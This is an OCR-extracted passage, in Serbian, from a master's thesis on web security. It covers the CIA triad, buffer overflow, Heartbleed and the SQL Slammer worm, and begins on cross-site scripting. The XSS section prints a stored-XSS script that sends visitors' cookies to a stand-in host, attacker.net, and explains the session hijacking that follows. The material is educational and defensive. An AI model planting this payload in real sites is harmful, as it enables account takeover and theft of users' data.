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REZIME

Danas se veb programiranjem bave i ljudi koji ne poznaju dovoljno sve moguce
mehanizme napada na veb sajtove. Svedoci smo da u danasnje vreme i velike kompanije
imaju bezbednosnih problema na primer, kompanija Sony je skoro pretrpela veoma
znacajan hakerski napad, takode u decembru 2016. godine yahoo je bio meta uspesnog
napada u kome su napadaci ukrali podatke viSe miliona korisnika, medu kojima su i
bankovne informacije kao 1 privatni podaci. Potrebno je veb programerima skrenuti
paznju na znacaj podataka koji se nalaze na serverima i to koliko zapravo te podatke
treba Cuvati.

Cilj ovog rada je sagledavanje i sistematizovanje vrsta opasnosti i publikovanje
rezultata u vidu prakticnog uputstva koje bi pomoglo veb programerima da bolje zaStite
svoje veb sajtove 1 podatke koje ti sajtovi sakupljaju. Znacaj rada bice u tome Sto ce
programerima prosiriti znanja o moguc¢im napadima kao i odbrani. Veb bezbednoscu se
oduvek bavila mala grupa ljudi koja se obi¢no fokusirala na bezbednost mreza i
operativnih sistema. Pojavom sve sloZenijih veb aplikacija i veb servisa kao 1 ¢injenica
da se na njima nalazi velika koli¢ina poverljivih informacija povlaci sa sobom veliku
odgovornost programera koji ih kreiraju.




Recnik pojmova

Klijent — raunar koji putem mreZe koristi usluge drugog racunara (servera).
Server — racunar koji obavlja serverske poslove i pruza usluge klijentima.
html — opisni jezik specijalno namenjen opisu veb stranica.

URL - sinonim za veb adresu, je sloZen niz karaktera koji se koristi za lociranje
nekog resursa na internetu.

http protokol — mrezni protokol koji predstavlja najce$¢i metod prenosa informacija
putem veba.

Protokol - Skup pravila kojim se definiSe oblik poruke i nac¢in komuniciranja izmedu
dva racunara. Isti protokol omogucuje da razli€iti raCunari i operativni sistemi budu u
vezi. Na Internetu ima viSe protokola: HTTP (za veb strane), FTP (za prenos
datoteka), POP (za elektronsku postu), TCP/IP ...

Internet - globalna mreza viSe od milijarde racunara povezanih TCP/IP protokolom.

Kolaci¢ - je tekstualna datoteka koja se kreira na racunaru kada korisnik poseti neki
veb sajt.

link - veza koja spaja veb stranice ili lokacije na internetu.

ID sesije — je podatak koji se koristi u mreZnim komunikacijama za identifikaciju
korisnika.

Opseg — ili bandwidth u komunikacijama se ovaj termin odnosi na razliku izmedu
najvise i najniZe frekvencije koja se moZe prenositi jednim prenosnim putem i
1zrazava se u Hz, KHz ili MHz.

Sesija — ,,razgovor” izmedu dva ili viSe uredaja koji komuniciraju putem interneta ili
privatne mreze.

CMS - sistem za dinami¢ko upravljanje sadrzajem.
Skript — manji programi koji se brzo piSu i sluZe za obavjanje manjih poslova.
ASCII — Americki standardni kod za razmenu podataka.

SQL - Structured Query Language je jezik koji se koristi za komunikaciju sa bazom
podataka.

DDoS - Raspodeljeno omenogucavanje usluge

DoS — Onemogucavanje usluge

e —————
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UVOD

wJedini stvarno bezbedan sistem je sistem koji je iskljucen,
stavljen u blok betona, zapecacen u olovom

obloZenoj sobi sa naoruZanim straZarima...

Pa cak ni tada nisam uveren”

(A.Hickey)

Ljudska civilizacija se oduvek zasnivala na potrebi i sposobnosti komuniciranja.
U pocetku informacije su putovale sporo, bile su nepouzdane i efikasnost Sirenja bila je
uslovljena razdaljinom i pozicijom osoba koje komuniciraju i uslova poput vidljivosti,
klime, vremenskih uslova.

Nastankom personalnih racunara krajem osamdesetih i pocetkom devedesetih
godina dvadesetog veka zapoceo je razvoj informacionih sistema kakve danas
poznajemo. Osnovu informacionih sistema ¢ine personalni racunari i serveri.
Medusobnim povezivanjem racunara putem telekomunikacione mrezZe, nastao je novi
,-ne-fizi€ki prostor” za koji se koristi 1 metafora ,,sajber prostor”. Telekomunikaciona
mreZa fiksne telefonije je izabrana kao najpogodnije reSenje, zbog veC postojece
infrastrukture, koja je podrazumevala postojanje fizicke konekcije (kablovima) koja je
dostizala do svake kuce. Ranije pomenuti internet se najceS¢e posmatra kao
nematerijalni i neopipivi skup podataka, ali on zapravo ima sasvim fizicku
infrastrukturu, koja je sacinjena od tehnickih uredaja, kablova i satelita koji kruze oko
naSe planete.

Zavisnost novog nacina Zivota od informacionih i komunikacionih tehnologija
doveli su i do nastanka novih rizika, koji se u velikoj meri razlikuju od onih rizika koji
su postojali u proslosti. Novi oblici bezbednosnih pretnji postoje od pocetka 1990-ih,
kada je internet postao Siroko dostupan, tj. pusten u komercijalnu upotrebu'. Novim
pretnjama su fizicki i softverski ugroZavane delovi informacione infrastrukture.
Pojavljivanje novih, specifi¢nih bezbednosnih pretnji krajem XX i pocetkom XXI veka
omoguceno je postojanje ,,slabih tacaka” tipicnih za komunikacione tehnologije, sa
jedne strane, a sa druge strane, postojanjem zlonamernih korisnika spremnih i
sposobnih da ove tehnologije zloupotrebe u vlasititu korist. Najslabije tacke interneta
su zapravo fizicki kablovi koji povezuju velike objekte u kojima su smeSteni serveri.
Pomenuti objekti u obicno dobro obezbedeni ali mogu postati meta napada. Internet ili
,virtualni svet” na taj nacin je postao ne samo cilj napada ve¢ i mo¢no sredstvo u rukama
zlonamernih i visokoobrazovanih kriminalaca[1].

1 Odluujuci potez u ovom smislu predstavilo je definisanje nove arhitekture-World Wide Veb (WWW) od
strane CERN-a 1991 godine.




Danas, veb-programiranjem bave se i ljudi koji ne poznaju dovoljno nacin na
koji internet prezentacije i aplikacije rade, pa nastaju greSke u samom kodiranju, koje
zlonamerni programeri koriste kako bi dobili podatke 1 informacije koje kasnije koriste
za ucenjivanje i iznudu. Bezbednosne pretnje informacionom druStvu raznovrsne su i
specificne po tome §to su prevashodno usmerene na destabilizovanje racunarskih
sistema. Posledice mogu biti ¢ak i fatalne ukoliko ugroze infrastrukturu, kao Sto su, na
primer, sistemi za kontrolu vazduSnog saobracaja, hidrocentrala, bezbednosnih i
zdravstvenih sluzbi ili sistema za distribuciju elektriCne energije.

Poznato je da se danas tehnologije razvijaju ogromnom brzinom. U poslednjih
15 godina, ubrzanim razvojem interneta, racunari su postali nezamenljiv deo Zivota
svakog coveka, informacije su postale dostupne i globalna povezanost je postala
realnost. ViSe nisu potrebni meseci da neka vest stigne sa druge strane planete, dovoljno
je samo postaviti na internet i ta vest je dostupna svima.

Za veCinu uredaja koje danas koristimo, od pametnih telefona, friZidera,
televizora, automobila, medicinske opreme, aviona pa sve do robota i kompletnih
fabrika, mozZe se re¢i da su to zapravo racunari od kojih zavisimo i viSe nego $to zapravo
mislimo. Internet stvari (engl. Internet of Things, skraceno loT) predstavlja mrezu
pomenutih uredaja imaju moguénost povezivanja na internet i pritom poseduju softver
i senzore koji mogu da skupljaju razne informacije o samom uredaju ali i o navikama
korisnika. Povezivanjem tih uredaja na globalnu mrezu, podatke koje sakupljaju, mogu
da razmenjuju sa proizvodacima uredaja, radi dijagnostike mogucih kvarova kao i sa
samim korisnikom putem aplikacije na mobilnom telefonu. Glavni razlog za uvodenje
i primenu ovakvog nacina povezivanja i razmene podataka je poboljSavanje kvaliteta
Zivota i automatizaciju raznih sistema, kao i pomo¢ u svakodnevnom Zivotu[2]. Najbolji
primer razmene 1 prikupljanja podataka daje kompanija ,,Tesla”. Kompanija koja se
izmedu ostalog bavi proizvodnjom automobila koji koji medusobno komuniciraju i
razmenjuju podatke o stanju na kolovozu. Prema najavama ti automobile ¢e postati
autonomni, dakle mo¢i ¢e sami sebe da voze upravo zahvaljujuéi mogucénosti
medusobne komunikacije.

Svaki uredaj koji je povezan na internet, mora imati svoju jedinstvenu
identifikaciju. Prilikom povezivanja, uredaj od servera na koji se povezao, dobija svoju
jedinstvenu adresu. Razlikujemo dve vrste adresa, staticku, koju uredaj dobija jednom
i viSe se ne menja i dinamicku, koja se menja svaki put kada se uredaj poveZe na
internet. MoZe se reci da je povezivanje svih uredaja na globalnu mreZzu dovelo do toga
da imamo sve manje i manje slobodnih IP adresa® i glavni je razlog za uvodenje novog
adresnog prostora IPv6?.

2 |P adresa (engl. Internet Protocol address) je broj od 32 bita koji se radi lak$e preglednosti zapisuje kao
jedinstveni broj razdvojen tackicama, koji koriste uredaji koji su povzani na internet kako bi se svaki uredaj
mogao identifikovati.

3 |pv6 je novi internet protokol, koji se jos uvek ne koristi uveliko. Adresa Ipv6 protokola je od 128 bita, $to daje
27128 ili 3.403x10738 jedinstvenih adresa.

e —————
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APLIKACIJA

U sklopu ovog rada, kreirana je veb aplikacija koja prakti¢no pokazuje svaki od
napada koji ¢e biti opisani u radu. Aplikacija je osmiSljena kao veb sajt koji ima devet
sekcija, za svaki napad po jednu. Takode za svaki napad postoji i video u kom je opisano
1 pokazano kako se napad izvodi. Na po€enoj strani koja je prikazana na slici postoje
sekcije za svaki napad.

O _ .
Master rad MASTER RAD MATEMATICKI FAKULTET

Sekcija koja sadrzi link za demonstraciju i video koji opisuje napad izgleda ovako.

Prekoratenje bafera Prevara umetanjem Prevara falsifikovanjem
skriptova zahteva

Ova aplikacija je kreirana u programskom jeziku PHP i kojiS¢ena je MySQL
baza. U sklopu napada koriS¢en je JavaSkrpt, svi napadi su izvedeni tako da ¢itaoci
ovog rada bez obzira na tehnicko znanje mogu da razumeju o ¢emu se radi i kako sve
funkcioniSe. Kod ove aplikacije ¢e biti dostupan svima, koji Zele da ga dobiju, mogu se
javiti elektronskom porStom na adresu: wujic88@gmail.com, kako bi buduci
programeri znali na Sta treba obratiti najviSe paznje i kako ne treba kodirati odredene
delove, kao i slabe tacke sistema i Sto je najvaznije naine i metode zastite od prikazanih
napada.




1.OBLICI UGROZAVANJA PODATAKA

Bezbednost podataka je stepen u kome je

onemoguceno ugroZavanje podataka

Pod oblicima ugroZavanja podataka, podrazumevamo sledece:

® Poverljivost podataka (engl. Confidentiality)
e Integritet podataka (engl. Integrity)
e Raspolozivost podataka (engl. Availability)

Oblici ugrozavanja podataka nazivaju se ,,Bezbednosna trojka” ili engleska
skrac¢enica CIA Sto se ¢esto namerno okrene kao CAI da se ne bi stvarala konfuzija sa
Americkom obaveStajnom sluzbom (engl. Central Intelligence Agency)[5].

Slika 1.1.1

Takode postoji notacija iz ugla postupaka koji dovode do ugrozavanja: odavanje
(engl. disclosure), menjanje (engl. alteration), ometanje (engl. denial)[3]. Podaci imaju
vrednost, posebno u danasnjem svetu. Bankarske izjave, li¢ne informacije, broj kreditne
kartice, poslovne tajne, drzavni dokumenti. Svako ima podatke koje Zeleli da sauvaju
kao tajnu. Zastita takvih podataka je veoma vaZan deo sigurnosti podataka.




1.1 Poverljivost podataka

Poverljivost podataka (engl. confidentiality) predstavlja neophodan sastavni deo
privatnosti kao 1 sposobnost da se podaci zastite od neovlas¢enog pristupa[3,5].

Pretpostavlja da se poverljivi podaci ne smeju biti dostupni neautorizovanim
pojedincima i drugim entitetima, ili u neovlas¢enim procesima. Autorizacija predstavlja
ovlaséenje korisnika da moZe pristupiti odredenom podatku. Samu autorizaciju definise
administrator sistema kome se pristupa[4]. Kad su u pitanju mreZe proverljivost postaje
veliki problem u ,saobracaju® podataka. Podaci koji putuju internetom mogu biti
prisluSkivani a samim tim mogu dospeti u pogreSne ruke. Jedan od glavnih motiva za
uvodenje kriptografskih sistema je bila upravo zastita poverljivosti podataka, koja se
postiZze kodiranjem ili pretvaranjem podataka u necitljivi niz znakova. Krptografskim
sistemima je uspostavljena kontrola objavljivanja podataka 1 zaStita od neovlas¢enog
pristupa istim. Efikasnost kriptografskih sistema se naziva snaga, jer jak kriptografki
sistem je teSko ,razbiti”. Poruka koja je Sifrovana nekim kriptografskim sistemom
postaje niz karaktera koji se mogu vratiti u prvobitnu poruku samo klju¢em koji
poseduje primalac kome je namenjena poruka. Ukoliko jedan deo poruke bude
desifrovan od strane zlonamernog korisnika, Sto se izuzetno retko deSava, kod jakih
sistema to ne znaci da je ceo sistem u opasnosti.

Veoma je bitno obezbediti veliki stepen sigurnosti po pitanju poverljivosti
podataka, jer u danas$nje vreme ukoliko se neki podaci, koji su kriti¢ni za funkcionisanje
nekog sistema koji kontroliSe na primer isporuku elektri¢ne energije, nadu na crnom
trziStu, to moZe dovesti do ozbiljnih posledica. Podaci koji putuju internetom mogu biti
od velikog znacaja poput broja kreditne kartice, broja li¢ne isprave i sli¢no, takvi podaci
su izuzetno vredni jer ilegalnim koriS¢enjem tih podataka, osoba koja ih poseduje moze
dobiti znacajnu nov€anu korist na Stetu vlasnika tih podataka. Na primer ukoliko neka
osoba kupuje neki predmet na nesigurnom sajtu i tu ostavlja svoje vazne podatke,
zlonamerna osoba dode do broja kreditne kartice te osobe, tom karticom moZe kupovati
i placati razne usluge, a na kraju meseca ¢e sve to do¢i na raun vlasnika kartice. Glavni
napad na poverljivost podataka je upad (engl. interception) u sisitem i neovlas¢eno
prisvajanje i koriS¢enje podataka. Upad predstavlja svaki ¢in neovlasé¢enog pristupanja
podacima. Ne postoji sasvim siguran sistem, ali broj upada se moZe smanjiti intezivnim
posmatranjem odlaznog i dolaznog saobracaja, kao i kontrola samih zaposlenih koji
takode predstavljaju bezbednosnu pretnju[13].




1.2 Integritet podataka

Integritet podataka (engl. integrity) osigurava potpunu tacnost i kompletnost
podataka tako Sto sprecava menjanje i brisanje od strane neovlas¢enog lica [5]. Kako bi
se ocuvao integritet podataka u nekom informacionom sistemu u sklopu kog radi veb
aplikacija, potrebno je uvesti takozvane dnevnike promena ,,Jog fajlove”, u kojima ce
se beleziti sve promene podataka. Unutar log fajla se beleZze sve promene na sistemu,
takode postoje podaci o tome ko je i kada izvrSio date promene. Ovakva mogucénost
daje veliku sigurnost u slu¢aju neovlas¢enog menjanja podataka, jer se njime moze
otkriti koji podaci su i kada neovlas¢eno promenjeni. Prilikom neovlas¢enog menjanja
podataka, promena stanja se upisuje u log fajl koji se nalazi duboko unutar sistema,
skriven od napadaca i obi¢no postoji viSe kopija na razli¢itim serverima.

Pod napadima koji mogu narusiti integritet podataka najznacajniji su: menjanje
podataka (engl. modification) i pravljenje podataka (engl. fabrication). Napadom
menjanja podataka menjaju se postoje¢i podaci, obi¢no se podaci menjaju radi
prikrivanja i radi uniStavanja. Ovim napadom ugrozavaju se integritet a neposredno i
raspoloZivost jer od trenutka napada sistem ne raspolaZze pravim podacima. Prilikom
ovog napada zlonamerni korisnik moZe pokuSati da u sistemu promeni podatke koji
mogu da mu donesu finanijsku korist ili neku drugu vrstu koristi ali su dana$nji sistemi
dobro pripremljeni za otkrivanje i spreavanje ovakvih napada. Pravljenje podataka je
napad koji za rezultat ima proizvodnju novih podataka u sistemu. U toku napada dolazi
do kreiranja novih podataka koji obi¢no lako otkriju jer programeri prilikom kreiranja
aplikacija, vode racuna o tome koji se podaci upisuju u bazu i odakle dolaze. Svaki
podatak koji se upiSe u bazu, mora imati u sebi i informacije o vremenu upisa kao i neki
identifikacioni broj osobe koja je taj podatak unela. Postoje aplikacije koje interno
proveravaju ispravnost unetih podataka i obi¢no upozoravaju administratore sistema da
se neSto nepredvideno desSava[13]. Svaka neadekvatna promena podataka kao rezultat
operacije Cuvanja, pronalaska ili obrade podataka u bazi, uklju¢ujuci zlonamerne
namere, neocekivano otkazivanje hardvera i ljudsku greSku, predstavlja povredu
integriteta podataka. Ako su promene rezultat neovlas¢enog pristupa, to moze biti i
povreda sigurnosti podataka. U zavisnosti od podataka, ovo bi se moglo pokazati kao
pojedinacni piksel na slici koja se pojavio u drugoj boji nego §to je bio prvobitno
snimljen, na gubitak fotografija sa odmora ili unutar platnog sistema u banci u kriti¢noj
bazi podataka, ¢ak do katastrofalnog gubitka ljudskog Zivota u slu€aju sistema u
bolnicama.




1.3 Raspolozivost podataka

Raspolozivost podataka (engl. Availability) predstavlja neometani pristup
podacima na svaki zahtev korisnika u svakom trenutku[5]. Sistem korisniku mora
pruZziti traZene podatke, ali samo one podatke za koje dati korisnik ima prava pristupa.
Prava pristupa za odredene podatke i delove sistema koja se odreduju prilikom
registracije korisnika na sistem, dodeljuje administrator sistema. Kako bi se obezbedila
raspolozivost podataka potrebno je obezbediti da se rezervna kopija podataka nalazi
na serveru koji je na drugoj lokaciji kako bi se postigla redudantnost, i u slu¢aju bilo
kog pokusaja ugroZavanja sistem automatski sve operacije prebaca na drugi server dok
se glavni server ne vrati u prvobitno stanje.

Pod napadom koji moZe da ugrozi raspoloZivost podataka podrazumevamo
onesposobljavanje sistema (engl. Interruption). Onesposobljavanje sistema je napad
koji ima za posledicu neki vid pune ili delimi¢ne neraspoloZivosti sistema a posredno i
integriteta.

Uzroci koji dovode do onesposobljavanja sistema mogu se podeliti na:

e unutraSnje opasnosti, €iji su nosioci subjekti koji su zaposljeni unutar
organizacije.

¢ spoljaSnje opasnosti, ¢iji su nosioci subjekti van organizacije.

® nezgode, opasnosti koje nastaju bez eksplicitne ljudske aktivnosti kao §to su
kvarovi, poplave, elementarne nepogode[13]...

Raspolozivost podataka se izraZava u procentima. Savremeni sistemi velikih
kompanija, poput Gugla, Fejsbuka, Majkrosofta i drugih, imaju predvideno najmanje
99.998% raspolozivosti[12], Sto znaCi da ako sistem radi godinu dana, Sto je
365dana*24sata*60minuta = 525.600 minuta, prema procentu raspoloZivosti vidimo da
sistem garantuje da Ce biti dostupan oko 525.589 minuta tj. da je procenjeno vreme za
koje podaci nece biti dostupne oko 10 minuta u toku cele godine. Visoka raspoloZivost
podataka je postignuta uvodenjem redudantnosti u sisitem. Procenjeno vreme za koje
¢e podaci biti nedostupni oko 10 minuta u toku godine je vreme koje treba sistemu da
u slucaju napada preusmeri saobracaj na drugi server. Na kraju 2012 godine objavljeno
je da od 59 velikih komercijalnih sajtova u Americi, samo 28 je uspelo da bude dostupno
100% vremena, ostali su imali neznatno manji procenat dostupnosti[12].
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2. VRSTE NAPADA

Popularnost veb aplikacija, kao i njihova vrednost u smislu informacija koje mogu biti
kompromitovane i tako narusiti ugled kompanije ili pojedinca, ucinile su da se zlonamerni
korisnici interneta posvete razvoju posebnih alata i tehnika specijalno pisanih za napade.

Postoji veliki broj razlicitih vrsta napada na veb aplikacije, u ovom radu bice istaknute
najrasprostranije i najvaznije:

¢ Prekoracenje bafera (engl. Buffer overflow)

¢ Prevara umetanjem skriptova (engl. Cross-Site Scripting )

® Prevara falsifikovanjem zahteva (engl. Cross-Site Request Forgery )

e Nasilno pregledanje (engl. Forcefull Browsing )

e Trovanje kolaci¢a (engl. Cookie Poisoning)

e Zloupotreba skrivenih polja (engl. Hidden Field Manipulation)

¢ Podmetanje parametara (engl. Parameter Tampering)

¢ Umetanje SQL upita (engl. SQL Injection)

¢ Raspodeljeno onemogucavanje usluge (engl. Distributed Denial of Service)

2.1 Prekoracenje bafrera

Bafer (engl. buffer) je deo prostora u memoriji koji je dodeljen nekoj aplikaciji
za upis podataka koji su potrebni za njen rad. Obi¢no se kao bafer dodeljuje prostor na
RAM memoriji zbog brzine pristupa i potrebe da aplikacija menja podatke u baferu[6].
Veli¢inu memorijskog prostora koji se dodeljuje kao bafer aplikaciji odreduje sama
aplikacija tako $to programer u kodu navodi veli¢inu potrebnog prostora ili aplikacija
proracunava potrebnu koli¢inu memorije.

Prekoracenje bafera je napad kojim zlonamerni korisnici pokuSavaju da upiSu
podatke koji zahtevaju vec¢i deo memorijskog prostora od onog koji je aplikaciji
prvobitno dodeljen za rad sa podacima. Ukoliko aplikacija unese podatke koji zahtevaju
veci deo memorije od memorije koju sadrzi bafer, dolazi do prelivanja podataka na
susedne memorijske lokacije, tacnije dolazi do menjanja podataka u memorijskom
prostoru koji nije dodeljen toj aplikaciji. Takode do prekoracenja bafera moze doci
ukoliko aplikacija koristi deo memorije koji joj je dodeljen, ali u tom delu memorije
postoje promenljive koje ta aplikacija koristi pa moze dovesti do pogreSnog rezultata
rada aplikacije. PrekoraCenje bafera je napad koji moZe da izazove nepravilno
izvrSavanje programa kao i nemogucnost nastavka rada. Slede¢i primer najbolje
ilustruje prekoracenje bafera.
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Neka su u programu definisana dva podataka koja su smeStena na susedne
memorijske lokacije: osmobajtni bafer neke aplikacije A (niz karaktera) i bafer druge
aplikacije B veli¢ine dva bajta. U pocetnom stanju, bafer A sadrzi sve nule, a bafer B
broj 7 (tabela 2.1).

A A A A A A A A B B B

0 0 0 0 0 0 0 0 0 0 7

Tabela 2.1

Ako zlonamerni korisnik pokuSa da u aplikaciji upise niz karaktera koji je veci
od trazenog u bafer na primer ,testiranje* pra¢en oznakom za kraj stringa \0’, do¢i ¢e
do prekoracenja bafera i prepisivanja vrednosti podatka B (tabela 2.2). Do prekoracenja,
dolazi zbog greSke programera. Dobrim programiranjem i procenom potrebnog prostora
u baferu, ovo bi bilo izbegnuto, a u slu¢aju pokuSaja od strane zlonamernog korisnika,
aplikacija treba da izbaci upozorenje.

A A A A A A A A B B B

Tabela 2.2

Osim izmene nasumic¢nih promenljivih u susednim lokacijama, prekoracenje
bafera moze dovesti do stanja ¢iju pojavu u normalnim okolnostima sam programski
jezik 11izvr$no radno okruzenje nece dozvoliti. Do takvih stanja najcesS¢e dolazi ukoliko
je bafer smesSten na steku. Stek predstavlja strukturu podataka koji se rasporeduju u
memoriji po principu LIFO (engl. Last In First Out ) tj. ,,zadnji usao, prvi izasao*[7].
NajkoriSc¢enije funkcije za rad sa stekom su ,,push()” za dodaj i ,,pop()” za uzmi, dok
moderniji sistemi danas mogu da implementiraju i funkcije poput ,,peek()” kojoj
aplikacija moze da procita vrednost podatka na vrhu steka bez njegovog uklanjanja,
,»1ISEmpty()” funkcija koja proverava da li je stek prazan i najkorisnija je ,.size()”
funkcija koja vrac¢a broj podataka na steku[7].

Jedan od najcuvenijih sigurnosnih propusta nastalih usled moguceg prekoracenja
bafera je tzv. ,heartbeat” problem za koji je bilo potrebno dve godine da se otkrije 1
popravi. Na serverima koji su radili na windows server platformi sa openSSL-om
postojao je problem takozvana komanda ,hartbeat” koja je sluzila za proveru
konekcije[9,10]. OpenSSL predstavlja softversku biblioteku koju koriste aplikacije
kada treba da medusobno komuniciraju preko racunarske mreze[9]. Prilikom
povezivanja klijentskog raCunara sa serverom, inicijalna komanda je ,hartbeat” koja
zapravo sluzi da proveri da li konekcija radi. Prilikom iniciranja konekcije, klijentski
racunar Salje server ,,evo reci heart, duga je 5 bajtova, molim te posalji tih 5 bajtova
nazad”. Server bi procitao tih 5 i vratio bi ih nazad, medutim, postojao je potencijalni
problem, jer server nije proveravao koliko mu je bajtova poslato, pa je moglo da se u

e —————
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inicijalnoj poruci nade i ovo ,.evo reci heart, duga je 64k bajtova, molim te posalji tih
64k bajtova nazad”. Server nije proverio koliko je bajtova poslato, umesto toga, on je
kreirao mali bafer 1 smestio re€ ,,heart” ali je procitao i vratio klijentu sve ostalo Sto je
bilo u memoriji izvan tih 5 bajtova bafera koje je kreirao. Najveci problem do kojeg je
moglo do¢i zbog ovog propusta je to Sto podaci koje server poSalje mogu biti od
korisnickih podataka pa sve do kljuca za Sifrovanje. Ukoliko bi se napada¢ dokopao
podataka poput kljuca za Sifrovanje, server bi postao nesiguran i nepouzdan, jer bi
napada¢ mogao da Cita sav saobracaj i time nacini dosta Stete. ,,Heartbleed” kako je
nazvan ovaj problem je najpoznatiji sigurnosni propust u open SSL-u[9,10].

Jedan od napoznatijih napada prekoracenjem bafera je ,,.SQL slammer worm”
koji je Januara 2003 godine znacajno usporio internet saobracaj u celom svetu. ,,SQL
slammer worm” je crv koji je dizajniran da se ,,nastani”’ u memoriji, dakle nema kopije
na hard disku i jedina uloga koju je imao bila je da se razmnoZava. Kod ovog programa
je napisan u asemblerskom jeziku i sadrzi samo 376 bajtova Napad je izveden tako Sto
program generiSe IP adrese i Salje samog sebe na te adrese, i tako radi svaka njegova
kopija pritom se pravi veliki internet saobracaj i znacajno se usporava rad interneta.
Microsoft, ¢iji je SQL server bio meta je izradio ,,zakrpu” 6 meseci pre napada, ali
mnogi server nisu imali najnoviju verziju softvera[8,15]. Krajem 2016, rutinskom
kontrolom detektovan je porast pokuSaja napada koriS¢enjem ,,SQL slammer worm”.
Takozvani pokusaj ,,vracanja iz mrtvih” je propao jer su server sada zaSti¢eni od
ovakvog napada.

Programi pisani u programskim jezicima koji imaju direktan pristup memoriji,
poput C, C++ i asemblerskih jezika su najugroZeniji na ovaj tip napada i mogu da ugroze
bezbednost po pitanju prekoracenja bafera. Jezici medu kojima su: Java, .NET, Rubz,
Perl i drugi, smatraju se sigurnim jer ne dopusStaju programeru direktan rad sa
memorijom vec se rad sa memorijom prepusta unapred definisanim funkcijama koje su
sastavni deo jezika[11].

Zakljucak

Najbolji nacin za sprecavanje prekoracenja bafera je pisanje pouzdanog koda u
kome se proverava veli¢ina svih ulaznih podataka prilikom poziva odredenih funkcija.
Na primer, funkcija strepy() u programskom jeziku C ne obezbeduje nikakvu sigurnost
u kodu koji se piSe, pa je zbog toga treba rede koristiti. Ova funkcija je bezbedna samo
kada se koristi u trivijalnim slu¢ajevima, kao Sto je kopiranje niza karaktera fiksne
duZine u bafer. Prekoracenje bafera se donekle moZe spreciti i na druge nacine. Na
primer, postoje razni softverski alati za detekciju napada na sistem koji su sposobni da
u nekim slucajevima otkrivaju pojavu prekoracenja i eksploatacije bafera. Noviji 64-
bitni procesori imaju mogucnost zaStite od prekoraCenja bafera, ali se rutine za
koriS¢enje takvih mehanizama moraju implementirati i u sam operativni sistem poput
novijih verzija ,,Windows*“[14]. Redovnim osveZavanjem softvera na serverima
instaliranjem novih sigurnosnih ,,zakrpa” postize se maksimalna sigurnost.
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2.2 Prevara umetanjem skriptova

Napad prevara umetanjem skriptova (engl. Cross-Site Scripting ,,XSS”)
predstavlja napad podmetanjem skript koda kao vrednosti parametra na nekoj html
strani koja u sebi ima formu za prosledivanje korisnickih parametara. Veliki broj veb
aplikacija poseduju forme za unos raznih podataka korisnika, poput komentara ili li¢nih
podataka.

U programiranju aktivnih i dinamickih veb-aplikacija koriste se serverski i
klijentski skriptovi. Veb stranice koje u html izvornom kodu sadrZe i serverski skript
kod koriste se u situacijama gde korisnik Salje zahtev serveru, pri ¢emu se skript
izvrSava na serveru pre nego Sto korisnik dobije odgovor. NajkoriS¢eniji serverski skript
jezici su PHP, ASP.NET, JSP.NET, JavaScript, Rubi, Perl, Python. Klijentski skriptovi,
za razliku od serverskih se izvrSavaju na klijentskoj strani u veb-pregledacu i sluze da
obezbede interfejs za klijenta, dok se serverski skriptovi obi¢no koriste da ogranice
pristup klijentu prema bazama podataka ili drugim strukturama podataka kao i za
proveru validnosti unetih podataka od strane korisnika[16]. Slabosti sajtova na
umetanje skriptova su prijavljene jo§ od 1990. Poznati sajtovi koji su bili ranjivi na ovaj
napad ukljucuju i druStvene mreZe poput Twitter-a, Facebook-a, YouTube. U skorije
vreme, napadi umetanjem skriptova su prestigli propuste nastale usled prekoracenja
bafera i postali naj¢eS¢a vrsta napada, gde je 2006. godine procenjeno da je viSe od
polovine sajtova nezaSticeno od ovakvih napada[17].

Napad umetanjem skriptova ili skra¢eno XSS, je propust za koji ne postoji samo
jedna, standardna klasifikacija, ve¢ se obi¢no razlikuje bar dva nacina XSS
napada: ,,Stored xss” ili ,,snimljen” 1 ,,Reflected xss” ili ,,reflektujuci” [18]. Neki ih
takode razdvajaju u tradicionalne (prouzrokovana greskom serverskog koda) i DOM
naklonjene (na klijentskoj strani koda).

Opisa¢emo oba tipa podmetanja skriptova.

1. Stored xss — unos napadaca se ¢uva u bazi i svaki put se prilikom prikaza na
racunaru korisnika izvrSava napadacev kod.

Primer 1:
<script language="javascript">
document .write('<img src=http://attacker.net/aPage?url="' +
document.location + '&cookie=' +document.cookie + '>');
</script>

Ukoliko se ovakav kod unese na sajtu koji nema proveru unetih podataka, tada
se uneti kod ¢uva u bazi i u ovom slu€aju svakim otvaranjem strane koja poziva podatke
iz baze, izvrSava se ovaj kod i Salje osetljive podatke napadacu.

e —————
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svaki put kada korisnik ode na stranu
Kod se sada nalazi u na kojij je kod i klikne na sliku,

bazi sajta N aktivira se zlonamerni kod
/ - \

Kolagi¢ se automatski Zalje o
" napadaéu koji je ubacio kod i

Napada¢

Posetilac

Prvo pronalazi sajt koji je ranjiv
pa ga napada ubacivanjem koda

Slika 2.2.1

Napadac pronalazi sajt koji je ranjiv na ovu vrstu napada pa kod unosi u neku
formu za unos podataka, obi¢no je u pitanju forma za unos komentara na neku vest ili
blog. Prilikom popunjavanja forme, pored nekog unetog teksta, napada¢ unosi i1
zlonamerni kod. Uneti podaci se snimaju trajno u bazu podataka. Prilikom svakog
sledeceg ucitavanja stranice sa komentarima, ovaj komentar se ucita kao deo koda koji
bi programer napisao.

U ovom primeru cilj napadaca je da ukrade kolaci¢e korisnika koji pristupa
napadnutoj stranici. U zavisnosti od sajta kola¢i¢i mogu sadrzati svakakve podatke o
korisniku, najceS¢e identifikacioni broj sesije na sajtu koji zahteva prijavljivanja
korisnika. Kolaci¢i se cuvaju na korisnikovom racunaru kreira ih i koristi veb-
pregledac. Da bi napad uspeo neophodno je da korisnik bude prijavljena na napadnuti
sajt kako bi kolaci¢, koji zlonamerni korisnik pokusSava da ukrade, postojao. Ukoliko
korisnik na primer poseti veb stranicu veb prodavnice, prilikom prijavljivanja,
pregleda¢ snima kola¢i¢ na raunaru korisnika koji u sebi sadrzi identifikacioni broj
sesije. Korisnik kupuje na sajtu i ostavlja svoje podatke za isporuku kao i broj kreditne
kartice. Potom poseti sajt na kome je ubacCen zlonamerni kod i napada¢ automatski
dobija prethodno snimljen kolaci¢ u kome postoji identifikacioni broj sesije. Napadac
koris¢enjem tog podatka moZe da ,,prevari” server i prijavi se kao napadnuti korisnik.
Kada je ve¢ ulogovan kao korisnik moze promeniti podatke o isporuci ili ¢ak do¢i u
posed broja kreditne kartice. Identifikacioni broj sesije omogucava napadacu da se
predstavi kao legitiman korisnik koji je kupovao na tom sajtu.

e —————
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Prilikom kreiranja stranice na kojoj ¢e biti dopuSteno ispisivanje podataka koje
korisnici unose, potrebno je tu stranu zaStiti od ovog napada. Postoji viSe nacina,
